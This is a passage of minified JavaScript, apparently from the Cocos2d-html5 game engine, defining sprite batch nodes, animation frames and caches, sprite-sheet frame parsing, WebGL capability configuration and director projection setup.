  309. m=-m,b.Ee.Zd([N(k,m),N(k+c.width,m),N(k+c.width,m-c.height),N(k,m-c.height)],4,!0));(this.Qb||this.Rb)&&a.restore();b.bg++}},delete n):(b.assert("function"===typeof b.B.GA,b.e.Nc,"SpritesWebGL.js"),b.B.GA(),delete b.B.GA);b.assert("function"===typeof b.B.Oz,b.e.Nc,"SpritesPropertyDefine.js");b.B.Oz();delete b.B.Oz;b.az=29;
  310. b.ef=b.q.extend({textureAtlas:null,o:null,Bd:null,ub:"SpriteBatchNode",QY:function(a,c,d){b.assert(a,b.e.YS);if(!(a instanceof b.Q))return b.log(b.e.XS),null;a.atlasIndex=c;var e=0,f=this.Bd;if(f&&0<f.length)for(var g=0;g<f.length;g++){var h=f[g];h&&h.atlasIndex>=c&&++e}f.splice(e,0,a);b.q.prototype.N.call(this,a,c,d);this.PO(!1);return this},YE:function(){return this.textureAtlas},rG:function(a){a!=this.textureAtlas&&(this.textureAtlas=a)},G_:function(){return this.Bd},$k:function(a,c){var d=b.Da.bn(a);
  311. d||(d=b.Da.Bc(a));return this.ta(d,c)},wh:function(){this.Ag=!0},G:function(a,c){var d=b.Da.bn(a);d||(d=b.Da.Bc(a));return this.ta(d,c)},Fx:function(){var a=this.textureAtlas.capacity,c=Math.floor(4*(a+1)/3);b.log(b.e.ZS,a,c);this.textureAtlas.XF(c)||b.log(b.e.$S)},J2:function(a,c){this.removeChild(this.s[a],c)},GO:function(a,c){var d=a.children;if(d&&0<d.length)for(var e=0;e<d.length;e++){var f=d[e];f&&0>f.zIndex&&(c=this.GO(f,c))}!a==this&&(a.atlasIndex=c,c++);if(d&&0<d.length)for(e=0;e<d.length;e++)(f=
  312. d[e])&&0<=f.zIndex&&(c=this.GO(f,c));return c},gF:function(a){var c=a.children;return c&&0!=c.length?this.gF(c[c.length-1]):a.atlasIndex},V1:function(a){var c=a.children;return c&&0!=c.length?this.V1(c[c.length-1]):a.atlasIndex},gZ:function(a,c){var d=a.parent,e=d.children,f=e.indexOf(a),g=null;0<f&&f<b.rA&&(g=e[f-1]);return d==this?0==f?0:this.gF(g)+1:0==f?0>c?d.atlasIndex:d.atlasIndex+1:0>g.zIndex&&0>c||0<=g.zIndex&&0<=c?this.gF(g)+1:d.atlasIndex+1},PO:function(a){this.Wd=a},We:function(a,c){this.o=
  313. void 0===c?a:{src:a,U:c}},Hh:function(){return this.o},Ap:function(a,c){b.assert(a,b.e.cT);-1===this.s.indexOf(a)?b.log(b.e.bT):c!==a.zIndex&&(b.q.prototype.Ap.call(this,a,c),this.Ma())},removeChild:function(a,c){null!=a&&(-1===this.s.indexOf(a)?b.log(b.e.aT):(this.Vm(a),b.q.prototype.removeChild.call(this,a,c)))},WW:null,Rk:null,z8:!1,ke:null,ctor:null,hr:function(a,c){b.q.prototype.ctor.call(this);var d;c=c||b.az;"string"==typeof a?(d=b.Da.bn(a))||(d=b.Da.Bc(a)):a instanceof b.da&&(d=a);d&&this.ta(d,
  314. c)},ir:function(a,c){b.q.prototype.ctor.call(this);this.WW=new b.ca;var d;c=c||b.az;"string"==typeof a?(d=b.Da.bn(a))||(d=b.Da.Bc(a)):a instanceof b.da&&(d=a);d&&this.ta(d,c)},WP:null,JY:function(a,c){b.assert(a,b.e.BQ);a instanceof b.Q?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.bf()):b.log(b.e.Zy)},KY:function(a,c){b.assert(a,b.e.Zy);if(a instanceof b.Q){for(var d=this.textureAtlas.capacity;c>=d||d==this.textureAtlas.totalQuads;)this.Fx();a.batchNode=this;a.atlasIndex=c;a.dirty=!0;a.bf()}else b.log(b.e.Zy)},
  315. Qk:function(a,c){var d=this.Bd,e=this.textureAtlas,f=e.quads,g=d[a],h=b.JI(f[a]);d[c].atlasIndex=a;d[a]=d[c];e.Ry(f[c],a);d[c]=g;e.Ry(h,c)},Kx:null,GW:function(a,c){b.assert(a,b.e.yQ);a instanceof b.Q?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.bf(),this.s.splice(c,0,a)):b.log(b.e.xQ)},HW:function(a,c){b.assert(a,b.e.rT);if(a instanceof b.Q){for(var d=this.textureAtlas;c>=d.capacity||d.capacity===d.totalQuads;)this.Fx();a.batchNode=this;a.atlasIndex=c;d.qF(a.quad,c);a.dirty=!0;a.bf()}else b.log(b.e.qT)},
  316. aM:function(a,c){var d=0,e=a.children;e&&(d=e.length);var f=0;if(0===d)f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Qk(f,c),c++;else{f=!0;0<=e[0].zIndex&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Qk(f,c),c++,f=!1);for(d=0;d<e.length;d++){var g=e[d];f&&0<=g.zIndex&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Qk(f,c),c++,f=!1);c=this.aM(g,c)}f&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Qk(f,c),c++)}return c},Yf:function(){this.textureAtlas.texture.yi()||
  317. (this.o.src=b.SRC_ALPHA,this.o.U=b.ONE_MINUS_SRC_ALPHA)},ta:null,SB:function(a){this.s=[];this.Bd=[];this.o=new b.Rj(b.hc,b.gc);this.Rk=this.ke=a;return!0},TB:function(a,c){this.s=[];this.Bd=[];this.o=new b.Rj(b.hc,b.gc);c=c||b.az;this.textureAtlas=new b.ak;this.textureAtlas.ta(a,c);this.Yf();this.shaderProgram=b.Ld.nc(b.Ti);return!0},pF:function(a,c){a.batchNode=this;a.atlasIndex=c;a.dirty=!0;var d=this.textureAtlas;d.totalQuads>=d.capacity&&this.Fx();d.qF(a.quad,c);this.Bd.splice(c,0,a);var d=c+
  318. 1,e=this.Bd;if(e&&0<e.length)for(;d<e.length;d++)e[d].atlasIndex++;var e=a.children,f;if(e)for(d=0,l=e.length||0;d<l;d++)(f=e[d])&&this.pF(f,this.gZ(f,f.zIndex))},appendChild:null,LU:function(a){this.Wd=!0;a.batchNode=this;a.dirty=!0;this.Bd.push(a);a.atlasIndex=this.Bd.length-1;a=a.children;for(var c=0,d=a.length||0;c<d;c++)this.appendChild(a[c])},MU:function(a){this.Wd=!0;a.batchNode=this;a.dirty=!0;this.Bd.push(a);var c=this.Bd.length-1;a.atlasIndex=c;var d=this.textureAtlas;d.totalQuads==d.capacity&&
  319. this.Fx();d.qF(a.quad,c);a=a.children;c=0;for(d=a.length||0;c<d;c++)this.appendChild(a[c])},Vm:null,yX:function(a){a.batchNode=null;var c=this.Bd,d=c.indexOf(a);if(-1!=d){c.splice(d,1);for(var e=c.length;d<e;++d)c[d].atlasIndex--}if(a=a.children)for(c=0,d=a.length||0;c<d;c++)a[c]&&this.Vm(a[c])},zX:function(a){this.textureAtlas.OO(a.atlasIndex);a.batchNode=null;var c=this.Bd,d=c.indexOf(a);if(-1!=d){c.splice(d,1);for(var e=c.length;d<e;++d)c[d].atlasIndex--}if(a=a.children)for(c=0,d=a.length||0;c<
  320. d;c++)a[c]&&this.Vm(a[c])},Qa:null,xr:function(){return this.Rk},NB:function(){return this.textureAtlas.texture},sb:null,jD:function(a){this.Rk=a;for(var c=this.s,d=0;d<c.length;d++)c[d].texture=a},kD:function(a){this.textureAtlas.texture=a;this.Yf()},T:null,tm:function(a){var c=a||b.k;if(this.zc){c.save();this.transform(a);var d=this.s;if(d)for(this.Tc(),a=0;a<d.length;a++)d[a]&&d[a].T(c);c.restore()}},zs:function(a){a=a||b.k;if(this.zc){b.Pm();var c=this.grid;c&&c.xf()&&(c.Hs(),this.Oy());this.Tc();
  321. this.transform(a);this.Z(a);c&&c.xf()&&c.Es(this);b.Om();this.arrivalOrder=0}},N:null,NA:function(a,c,d){b.assert(null!=a,b.e.vQ);a instanceof b.Q?(c=null==c?a.zIndex:c,d=null==d?a.tag:d,b.q.prototype.N.call(this,a,c,d),this.appendChild(a),this.Ma()):b.log(b.e.tQ)},JU:function(a,c,d){b.assert(null!=a,b.e.jT);a instanceof b.Q?a.texture!=this.textureAtlas.texture?b.log(b.e.iT):(c=null==c?a.zIndex:c,d=null==d?a.tag:d,b.q.prototype.N.call(this,a,c,d),this.appendChild(a),this.Ma()):b.log(b.e.hT)},Qg:null,
  322. wX:function(a){var c=this.Bd;if(c&&0<c.length)for(var d=0,e=c.length;d<e;d++)c[d]&&(c[d].batchNode=null);b.q.prototype.Qg.call(this,a);this.Bd.length=0},xX:function(a){var c=this.Bd;if(c&&0<c.length)for(var d=0,e=c.length;d<e;d++)c[d]&&(c[d].batchNode=null);b.q.prototype.Qg.call(this,a);this.Bd.length=0;this.textureAtlas.MO()},Tc:null,qY:function(){if(this.Wd){var a,c=0,d=this.s,e=d.length,f;for(a=1;a<e;a++){var g=d[a],c=a-1;for(f=d[c];0<=c&&(g.zb<f.zb||g.zb==f.zb&&g.arrivalOrder<f.arrivalOrder);)d[c+
  323. 1]=f,c-=1,f=d[c];d[c+1]=g}0<d.length&&this.zg(d,b.q.Ff.Tc);this.Wd=!1}},rY:function(){if(this.Wd){var a=this.s,c,d=0,e=a.length,f;for(c=1;c<e;c++){var g=a[c],d=c-1;for(f=a[d];0<=d&&(g.zb<f.zb||g.zb==f.zb&&g.arrivalOrder<f.arrivalOrder);)a[d+1]=f,d-=1,f=a[d];a[d+1]=g}if(0<a.length)for(this.zg(a,b.q.Ff.Tc),c=d=0;c<a.length;c++)d=this.aM(a[c],d);this.Wd=!1}},Z:null,$i:function(){0!==this.textureAtlas.totalQuads&&(this.Hb.Mc(),this.Hb.af(),this.zg(this.s,b.q.Ff.bf),b.Mh(this.o.src,this.o.U),this.textureAtlas.PM())}});
  324. n=b.ef.prototype;b.A===b.$?(n.ctor=n.ir,n.WP=n.KY,n.Kx=n.HW,n.ta=n.TB,n.appendChild=n.MU,n.Vm=n.zX,n.Qa=n.NB,n.sb=n.kD,n.T=n.zs,n.N=n.JU,n.Qg=n.xX,n.Tc=n.rY,n.Z=n.$i):(n.ctor=n.hr,n.WP=n.JY,n.Kx=n.GW,n.ta=n.SB,n.appendChild=n.LU,n.Vm=n.yX,n.Qa=n.xr,n.sb=n.jD,n.T=n.tm,n.Qg=n.wX,n.N=n.NA,n.Tc=n.qY,n.Z=b.q.prototype.Z);b.f(n,"texture",n.Qa,n.sb);b.f(n,"descendants",n.G_);b.ef.create=function(a,c){return new b.ef(a,c)};b.qQ=b.Q.extend({ce:null,Ce:null,ctor:function(){b.Q.prototype.ctor.call(this);var a=document.createElement("canvas");a.width=a.height=10;this.ce=a;this.Ce=a.getContext("2d");var c=new b.da;c.rd(a);c.Nb();this.sb(c)},gaa:function(){return this.Ce},faa:function(){return this.ce},RO:function(a,c){void 0===c&&(c=a.height,a=a.width);var d=this.ce;d.width=a;d.height=c;this.Qa().Nb();this.hb(Q(0,0,a,c),!1)}});b.qg=b.ja.extend({xo:null,Sd:0,Jo:null,ctor:function(a,c,d){this.xo=a||null;this.Sd=c||0;this.Jo=d||null},j:function(){var a=new b.qg;a.Ai(this.xo.j(),this.Sd,this.Jo);return a},hx:function(){return b.j(this)},copy:function(){var a=new b.qg;a.Ai(this.xo.j(),this.Sd,this.Jo);return a},Ai:function(a,c,d){this.xo=a;this.Sd=c;this.Jo=d;return!0},qd:function(){return this.xo},il:function(a){this.xo=a},uaa:function(){return this.Sd},Qha:function(a){this.Sd=a},xca:function(){return this.Jo},vja:function(a){this.Jo=
  325. a}});b.qg.create=function(a,c,d){return new b.qg(a,c,d)};
  326. b.zf=b.ja.extend({Td:null,gj:0,gm:!1,m:0,Sd:0,vi:0,ctor:function(a,c,d){this.Td=[];if(void 0===a)this.UN(null,0);else{var e=a[0];e&&(e instanceof b.Ef?this.UN(a,c,d):e instanceof b.qg&&this.Gx(a,c,d))}},Raa:function(){return this.Td},bia:function(a){this.Td=a},eE:function(a){var c=new b.qg;c.Ai(a,1,null);this.Td.push(c);this.vi++},K8:function(a){a=b.Da.Bc(a);var c=Q(0,0,0,0);c.width=a.width;c.height=a.height;a=b.Ef.create(a,c);this.eE(a)},L8:function(a,c){var d=b.Ef.create(a,c);this.eE(d)},Gx:function(a,
  327. c,d){b.Mo(a,b.qg);this.Sd=c;this.gj=void 0===d?1:d;this.vi=0;c=this.Td;for(d=c.length=0;d<a.length;d++){var e=a[d];c.push(e);this.vi+=e.Sd}return!0},j:function(){var a=new b.zf;a.Gx(this.iJ(),this.Sd,this.gj);a.Hy(this.gm);return a},hx:function(){var a=new b.zf;a.Gx(this.iJ(),this.Sd,this.gj);a.Hy(this.gm);return a},iJ:function(){for(var a=[],c=0;c<this.Td.length;c++)a.push(this.Td[c].j());return a},copy:function(){return this.hx(null)},gba:function(){return this.gj},nia:function(a){this.gj=a},Hy:function(a){this.gm=
  328. a},Qba:function(){return this.gm},dp:function(){return this.vi*this.Sd},taa:function(){return this.Sd},Pha:function(a){this.Sd=a},qca:function(){return this.vi},UN:function(a,c,d){b.Mo(a,b.Ef);this.gj=void 0===d?1:d;this.Sd=c||0;this.vi=0;c=this.Td;c.length=0;if(a){for(d=0;d<a.length;d++){var e=a[d],f=new b.qg;f.Ai(e,1,null);c.push(f)}this.vi+=a.length}return!0},uy:function(){},Ki:function(){}});b.zf.create=function(a,c,d){return new b.zf(a,c,d)};b.Vw={yn:{},gM:function(a,c){this.yn[c]=a},Sga:function(a){a&&this.yn[a]&&delete this.yn[a]},ZM:function(a){return this.yn[a]?this.yn[a]:null},IU:function(a,c){var d=a.animations;if(d){var e=1,f=a.properties;if(f)for(var e=null!=f.format?parseInt(f.format):e,f=f.spritesheets,g=b.ud,h=b.path,k=0;k<f.length;k++)g.jM(h.Po(c,f[k]));switch(e){case 1:this.nX(d);break;case 2:this.oX(d);break;default:b.log(b.e.YY)}}else b.log(b.e.XY)},D8:function(a){b.assert(a,b.e.fZ);var c=b.V.Gd(a);c?this.IU(c,a):b.log(b.e.eZ)},
  329. nX:function(a){var c=b.ud,d;for(d in a){var e=a[d],f=e.frames,e=parseFloat(e.delay)||0,g=null;if(f){for(var g=[],h=0;h<f.length;h++){var k=c.qd(f[h]);if(k){var m=new b.qg;m.Ai(k,1,null);g.push(m)}else b.log(b.e.$Y,d,f[h])}0===g.length?b.log(b.e.aZ,d):(g.length!=f.length&&b.log(b.e.bZ,d),g=b.zf.create(g,e,1),b.Vw.gM(g,d))}else b.log(b.e.ZY,d)}},oX:function(a){var c=b.ud,d;for(d in a){var e=a[d],f=parseInt(e.loops),f=e.loop?b.Bq:isNaN(f)?1:f,g=e.restoreOriginalFrame&&!0==e.restoreOriginalFrame?!0:!1,
  330. h=e.frames;if(h){for(var k=[],m=0;m<h.length;m++){var p=h[m],r=p.spriteframe,s=c.qd(r);if(s){var r=parseFloat(p.delayUnits)||0,p=p.notification,u=new b.qg;u.Ai(s,r,p);k.push(u)}else b.log(b.e.dZ,d,r)}e=parseFloat(e.delayPerUnit)||0;h=new b.zf;h.Gx(k,e,f);h.Hy(g);b.Vw.gM(h,d)}else b.log(b.e.cZ,d)}},nk:function(){this.yn={}}};b.Ef=b.ja.extend({la:null,nf:null,Je:null,me:!1,ha:null,Rf:null,Sf:null,K:null,Co:"",na:!1,Ev:null,ctor:function(a,c,d,e,f){this.la=N(0,0);this.Rf=N(0,0);this.nf=O(0,0);this.me=!1;this.Sf=O(0,0);this.Co="";this.K=null;this.na=!1;void 0!==a&&void 0!==c&&(void 0===d||void 0===e||void 0===f?this.ta(a,c):this.ta(a,c,d,e,f))},Mt:function(){return this.na},Yd:function(a,c){null==this.Ev&&(this.Ev=[]);this.Ev.push({Fh:a,ag:c})},Qd:function(){var a=this.Ev;if(a){for(var c=0,d=a.length;c<d;c++){var e=a[c];
  331. e.Fh.call(e.ag,this)}a.length=0}},l0:function(){var a=this.Je;return Q(a.x,a.y,a.width,a.height)},Mia:function(a){this.Je||(this.Je=Q(0,0,0,0));this.Je.x=a.x;this.Je.y=a.y;this.Je.width=a.width;this.Je.height=a.height;this.ha=b.Jj(a)},kda:function(){return this.me},Oia:function(a){this.me=a},Lh:function(){var a=this.ha;return Q(a.x,a.y,a.width,a.height)},qP:function(a){this.ha||(this.ha=Q(0,0,0,0));this.ha.x=a.x;this.ha.y=a.y;this.ha.width=a.width;this.ha.height=a.height;this.Je=b.Bt(this.ha)},sba:function(){return this.Rf},
  332. wia:function(a){this.Rf.x=a.x;this.Rf.y=a.y;b.vC(this.Rf,this.la)},yba:function(){return this.Sf},Aia:function(a){this.Sf.width=a.width;this.Sf.height=a.height},xba:function(){return this.nf},zia:function(a){this.nf.width=a.width;this.nf.height=a.height},Qa:function(){if(this.K)return this.K;if(""!==this.Co){var a=b.Da.Bc(this.Co);a&&(this.na=a.vc);return a}return null},sb:function(a){if(this.K!=a){var c=a.vc;this.na=c;this.K=a;c||a.Yd(function(a){this.na=!0;if(this.me&&b.A===b.Ea){var c=a.Db,c=b.yE(c,
  333. this.Lh()),f=new b.da;f.rd(c);f.Nb();this.sb(f);c=this.Lh();this.qP(Q(0,0,c.width,c.height))}c=this.ha;0===c.width&&0===c.height&&(c=a.width,a=a.height,this.ha.width=c,this.ha.height=a,this.Je=b.Bt(this.ha),this.Sf.width=this.Je.width,this.Sf.height=this.Je.height,this.nf.width=c,this.nf.height=a);this.Qd()},this)}},jN:function(){return this.la},Fy:function(a){this.la.x=a.x;this.la.y=a.y},j:function(){var a=new b.Ef;a.ta(this.Co,this.Je,this.me,this.Rf,this.Sf);a.sb(this.K);return a},hx:function(){var a=
  334. new b.Ef;a.ta(this.Co,this.Je,this.me,this.Rf,this.Sf);a.sb(this.K);return a},copy:function(){return this.hx()},ta:function(a,c,d,e,f){2===arguments.length&&(c=b.Bt(c));e=e||N(0,0);f=f||c;d=d||!1;"string"==typeof a?(this.K=null,this.Co=a):a instanceof b.da&&this.sb(a);if(a=this.Qa()){var g,h;d?(g=c.x+c.height,h=c.y+c.width):(g=c.x+c.width,h=c.y+c.height);g>a.width&&b.error(b.e.Uz,a.url);h>a.height&&b.error(b.e.Tz,a.url)}this.Je=c;this.ha=b.Jj(c);this.Rf.x=e.x;this.Rf.y=e.y;b.vC(e,this.la);this.Sf.width=
  335. f.width;this.Sf.height=f.height;b.LL(f,this.nf);this.me=d;return!0}});b.Ef.create=function(a,c,d,e,f){return new b.Ef(a,c,d,e,f)};b.Ef.X7=function(a,c,d,e,f){var g=new b.Ef;g.K=a;g.Je=c;g.ha=b.Jj(c);g.Rf.x=e.x;g.Rf.y=e.y;b.vC(g.Rf,g.la);g.Sf.width=f.width;g.Sf.height=f.height;b.LL(g.Sf,g.nf);g.me=d;return g};b.ud={RI:/^\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*$/,vU:/^\s*\{\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*,\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*\}\s*$/,zh:{},sj:{},$n:{},jL:function(a){return(a=this.vU.exec(a))?Q(parseFloat(a[1]),parseFloat(a[2]),parseFloat(a[3]),parseFloat(a[4])):Q(0,0,0,0)},$K:function(a){return(a=this.RI.exec(a))?N(parseFloat(a[1]),parseFloat(a[2])):N(0,0)},nD:function(a){return(a=this.RI.exec(a))?O(parseFloat(a[1]),parseFloat(a[2])):
  336. O(0,0)},UV:function(a){var c=b.V.Gd(a);b.assert(c,b.e.k4,a);b.V.Ki(a);if(c.io)return this.$n[a]=c;var d=c.frames,e=c.metadata||c.meta,c={},f={},g=0;e&&(g=e.format,g=1>=g.length?parseInt(g):g,f.N0=e.textureFileName||e.textureFileName||e.image);for(var h in d){var k=d[h];if(k){e={};if(0==g){e.rect=Q(k.x,k.y,k.width,k.height);e.xy=!1;e.offset=N(k.offsetX,k.offsetY);var m=k.originalWidth,k=k.originalHeight;m&&k||b.log(b.e.j4);m=Math.abs(m);k=Math.abs(k);e.size=O(m,k)}else if(1==g||2==g)e.rect=this.jL(k.frame),
  337. e.xy=k.rotated||!1,e.offset=this.$K(k.offset),e.size=this.nD(k.sourceSize);else if(3==g){var m=this.nD(k.spriteSize),p=this.jL(k.textureRect);m&&(p=Q(p.x,p.y,m.width,m.height));e.rect=p;e.xy=k.textureRotated||!1;e.offset=this.$K(k.spriteOffset);e.size=this.nD(k.spriteSourceSize);e.TY=k.aliases}else m=k.frame,p=k.sourceSize,h=k.filename||h,e.rect=Q(m.x,m.y,m.w,m.h),e.xy=k.rotated||!1,e.offset=N(0,0),e.size=O(p.w,p.h);c[h]=e}}return this.$n[a]={io:!0,frames:c,W1:f}},jM:function(a,c){b.assert(a,b.e.m4);
  338. var d=this.$n[a]||b.V.Gd(a);if(d&&d.frames){var e=this.$n[a]||this.UV(a),d=e.frames,e=e.W1;c?c instanceof b.da||("string"==typeof c?c=b.Da.Bc(c):b.assert(0,b.e.n4)):c=b.Da.Bc(b.path.Po(a,e.N0||".png"));var e=this.sj,f=this.zh,g;for(g in d){var h=d[g],k=f[g];if(!k){k=b.Ef.create(c,h.rect,h.xy,h.offset,h.size);if(h=h.TY)for(var m=0,p=h.length;m<p;m++){var r=h[m];e[r]&&b.log(b.e.l4,r);e[r]=g}b.A===b.Ea&&k.me&&k.Qa().vc&&(h=k.Qa().Db,h=b.yE(h,k.l0()),m=new b.da,m.rd(h),m.Nb(),k.sb(m),h=k.ha,k.qP(Q(0,
  339. 0,h.width,h.height)));f[g]=k}}}},Q7:function(a){a=a.frames;for(var c in a)this.zh[c]&&b.log(b.e.i4,c)},eE:function(a,c){this.zh[c]=a},Zga:function(){this.zh={};this.sj={}},Yga:function(a){a&&(this.sj[a]&&delete this.sj[a],this.zh[a]&&delete this.zh[a])},$ga:function(a){var c=this.zh,d=this.sj;if(a=this.$n[a]){a=a.frames;for(var e in a)if(c[e]){delete c[e];for(var f in d)d[f]==e&&delete d[f]}}},aha:function(a){var c=this.zh,d=this.sj,e;for(e in c){var f=c[e];if(f&&f.Qa()==a){delete c[e];for(var g in d)d[g]==
  340. e&&delete d[g]}}},qd:function(a){var c=this.zh[a];if(!c){var d=this.sj[a];d&&((c=this.zh[d.toString()])||delete this.sj[a])}c||b.log(b.e.o4,a);return c},nk:function(){this.zh={};this.sj={};this.$n={}}};b.So={Z5:0,Y6:1,INT:2,V5:3,x5:4,Mr:0,UW:0,ED:!1,Kw:!1,CD:!1,DD:!1,FD:!1,i8:0,gC:0,Wu:"",vs:{},io:!1,Dr:function(){var a=this.vs;a["cocos2d.x.version"]=b.gz;a["cocos2d.x.compiled_with_profiler"]=!1;a["cocos2d.x.compiled_with_gl_state_cache"]=b.eh;this.io=!0},lba:function(){return this.Mr},kba:function(){return this.UW},mba:function(){return this.gC},Kja:function(){return this.Kw},Lja:function(){return this.ED},Jja:function(){return!1},Mja:function(){return!1},Gja:function(){return!1},Hja:function(){return this.CD},
  341. Ija:function(){return this.DD},Nja:function(){return this.FD},Qo:function(a){return-1<this.Wu.indexOf(a)},zca:function(a,c){this.io||this.Dr();var d=this.vs;return d[a]?d[a]:c},xja:function(a,c){this.vs[a]=c},WZ:function(){0===b.eh&&(b.log(""),b.log(b.e.yZ),b.log(""))},v_:function(){if(b.A!==b.Ea){this.io||this.Dr();var a=b.k,c=this.vs;c["gl.vendor"]=a.getParameter(a.VENDOR);c["gl.renderer"]=a.getParameter(a.RENDERER);c["gl.version"]=a.getParameter(a.VERSION);this.Wu="";for(var d=a.getSupportedExtensions(),
  342. e=0;e<d.length;e++)this.Wu+=d[e]+" ";this.Mr=a.getParameter(a.MAX_TEXTURE_SIZE);c["gl.max_texture_size"]=this.Mr;this.gC=a.getParameter(a.MAX_COMBINED_TEXTURE_IMAGE_UNITS);c["gl.max_texture_units"]=this.gC;this.ED=this.Qo("GL_IMG_texture_compression_pvrtc");c["gl.supports_PVRTC"]=this.ED;this.Kw=!1;c["gl.supports_NPOT"]=this.Kw;this.CD=this.Qo("GL_IMG_texture_format_BGRA888");c["gl.supports_BGRA8888"]=this.CD;this.DD=this.Qo("GL_EXT_discard_framebuffer");c["gl.supports_discard_framebuffer"]=this.DD;
  343. this.FD=this.Qo("vertex_array_object");c["gl.supports_vertex_array_object"]=this.FD;b.Ro()}},pfa:function(a){this.io||this.Dr();var c=b.V.Gd(a);if(!c)throw"Please load the resource first : "+a;b.assert(c,b.e.AZ,a);if(c=c.data)for(var d in c)this.vs[d]=c[d];else b.log(b.e.zZ,a)}};b.B.dz=function(){b.X5=b.ja.extend({fka:function(){}});var a=b.Xa.prototype;a.$m=function(a){var d=this.R;this.AP();var e=this.qh,f=e.se.x/e.pa,e=e.se.y/e.Ta;switch(a){case b.Xa.sS:b.Di(b.Ri);b.kp();f=new b.ca;b.yF(f,0,d.width,0,d.height,-1024,1024);b.lp(f);b.Di(b.Qi);b.kp();break;case b.Xa.yH:var g=this.Xs(),h=new b.ca,k=new b.ca;b.Di(b.Ri);b.kp();b.C1(h,d.width/d.height,2*g);b.lp(h);b.Di(b.Qi);b.kp();g=b.np(null,-f+d.width/2,-e+d.height/2,g);b.$N(k,g,b.np(null,-f+d.width/2,-e+d.height/2,0),b.np(null,
  344. 0,1,0));b.lp(k);break;case b.Xa.tS:break;default:b.log(b.e.PQ)}this.qi=a;b.sa.dispatchEvent(this.Fv);b.oP()};a.aP=function(a){var d=b.k;a?(d.clearDepth(1),d.enable(d.DEPTH_TEST),d.depthFunc(d.LEQUAL)):d.disable(d.DEPTH_TEST)};a.jG=function(a){this.R.width=b.Za.width;this.R.height=b.Za.height;this.qh=a||b.view;a=b.So;a.v_();a.WZ();this.Nn();this.gP();b.sa&&b.sa.ve(!0)};a.nk=function(){var a=b.k;a.clear(a.COLOR_BUFFER_BIT|a.DEPTH_BUFFER_BIT)};a.UA=function(){b.Pm()};a.OA=function(){b.Om()};a.Nn=function(){if(!b.Wh)this.qV();
  345. else if(null!=b.Xa.fK&&!1!=b.Xa.fK){var a=new b.da;a.rd(b.Xa.Zn);a.Nb();var d=b.view.OE().height/320;0===d&&(d=this.R.height/320);var e=new b.Wh;e.bD(!0);e.sd("00.0",a,12,32,".");e.scale=d;this.Gf=e;e=new b.Wh;e.bD(!0);e.sd("0.000",a,12,32,".");e.scale=d;this.Hf=e;e=new b.Wh;e.bD(!0);e.sd("000",a,12,32,".");e.scale=d;this.Lf=e;a=b.bz;this.Lf.P(a.x,34*d+a.y);this.Hf.P(a.x,17*d+a.y);this.Gf.P(a)}};a.qV=function(){var a=0,a=this.R.width>this.R.height?0|this.R.height/320*24:0|this.R.width/320*24;this.Gf=
  346. b.W.create("000.0","Arial",a);this.Hf=b.W.create("0.000","Arial",a);this.Lf=b.W.create("0000","Arial",a);a=b.bz;this.Lf.P(this.Lf.width/2+a.x,5*this.Lf.height/2+a.y);this.Hf.P(this.Hf.width/2+a.x,3*this.Hf.height/2+a.y);this.Gf.P(this.Gf.width/2+a.x,this.Gf.height/2+a.y)};a.BZ=function(a){var d=new b.ca;b.fH(d);var e=new b.ca;b.B1(e,d);var f=this.qh.OE(),g=new b.xb;b.jO(g,new b.xb(2*a.x/f.width-1,1-2*a.y/f.height,d.c[14]/d.c[15]),e);return N(g.x,g.y)};a.DZ=function(a){var d=new b.ca;b.fH(d);var e=
  347. new b.xb;b.jO(e,new b.xb(a.x,a.y,0),d);a=this.qh.OE();return N(a.width*(0.5*e.x+0.5),a.height*(0.5*-e.y+0.5))};a.Vs=function(){return this.qh.Vs()};a.aF=function(){return this.qh.aF()};a.Xs=function(){return this.R.height/1.1566};a.AP=function(){var a=this.qh;if(a){var d=this.R;a.d4(-a.se.x/a.pa,-a.se.y/a.Ta,d.width,d.height)}};a.uba=function(){return this.qh};a.Lba=function(){return this.qi};a.b3=function(){b.Mh(b.hc,b.gc)};a.gP=function(){this.b3();this.aP(!1);this.$m(this.qi);b.k.clearColor(0,
  348. 0,0,1)}};b.bg=0;b.fH=function(a){var c=new b.ca;b.Px(b.Ri,c);var d=new b.ca;b.Px(b.Qi,d);b.Ei(a,c,d)};
  349. b.Xa=b.ja.extend({g8:!1,Pr:!1,lc:!1,nw:!1,Ik:!1,$q:0,kC:0,qi:0,xn:0,hh:1,nr:!1,ok:0,AB:0,Gf:null,Hf:null,Lf:null,R:null,Bk:null,ji:null,dw:null,qh:null,ti:null,IC:null,ad:null,Td:0,Nw:0,VC:0,U7:null,Vf:null,xg:null,Fv:null,uB:null,wB:null,vB:null,ctor:function(){var a=this;a.Bk=Date.now();b.sa.dE(b.Hc.Yp,function(){a.Bk=Date.now()})},G:function(){this.kC=this.$q=1/b.HZ;this.ti=[];this.qi=b.Xa.uS;this.IC=null;this.AB=this.xn=0;this.nr=!1;this.Nw=this.Td=0;this.Bk=Date.now();this.nw=this.lc=!1;this.R=
  350. O(0,0);this.qh=null;this.hh=1;this.Vf=new b.Fq;this.xg=b.JG?new b.JG:null;this.Vf.bG(this.xg,b.Fq.Au,!1);this.uB=new b.Oi(b.Xa.WQ);this.uB.setUserData(this);this.wB=new b.Oi(b.Xa.YQ);this.wB.setUserData(this);this.vB=new b.Oi(b.Xa.XQ);this.vB.setUserData(this);this.Fv=new b.Oi(b.Xa.ZQ);this.Fv.setUserData(this);return!0},rZ:function(){var a=Date.now();this.Pr?(this.ok=0,this.Pr=!1):this.ok=(a-this.Bk)/1E3;0<b.Hc.Qe[b.Hc.bh.Ns]&&0.2<this.ok&&(this.ok=1/60);this.Bk=a},UZ:function(){this.rZ();this.lc||
